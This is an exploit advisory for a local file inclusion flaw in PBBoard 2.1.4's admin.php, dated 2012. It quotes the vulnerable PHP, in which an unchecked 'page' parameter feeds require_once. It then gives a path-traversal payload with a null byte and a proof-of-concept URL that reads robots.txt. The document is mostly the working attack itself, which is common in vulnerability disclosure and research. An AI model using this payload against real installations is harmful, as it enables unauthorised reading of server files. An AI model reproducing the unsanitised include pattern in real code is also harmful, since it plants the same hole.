PBBoard version 2.1.4 suffers from a local file inclusion vulnerability.
840dd61912dca2230c93d865025205fb5ad12c9b2ead84a1ac7013ffa24ea103
################################################################################################
# Exploit Title: PBBoard 2.1.4 Local File Inclusion
# Software Link: https://www.pbboard.com/PBBoard_v2.1.4.zip
# Author: n4ss1m
# Date: 25-05-2012
# Tested on: win/linux
# Home : www.Sec4ever.com
################################################################################################
# Local File Inclusion ( admin.php )
<?php
define('IN_PowerBB',true);
$page = empty($_GET['page']) ? 'index' : $_GET['page']; # $page ==>
$_GET['page']
$page = str_replace( 'note', 'notes', $page );
$page = str_replace( 'index', 'main', $page );
$module = ('modules/admin/'.$page.'.module.php'); # $module ==>
'modules/admin/'.$page.'.module.php'
if (!file_exists($module))
{
....
}
require_once($module); # Ops ! LFI
//////////
$class_name = CLASS_NAME;
$class_name = new $class_name;
$class_name->run();
?>
# Explotion
https://domain.tld/admin.php?page=../../[FILENAME][Nullbyte]
# PoC :
https://domain.tld/admin.php?page=../../robots.txt%00
################################################################################################
# References : https://www.exploit4arab.com/exploits/70
# Vendor reported on : 25-05-2012
# published on : 27-05-2012
################################################################################################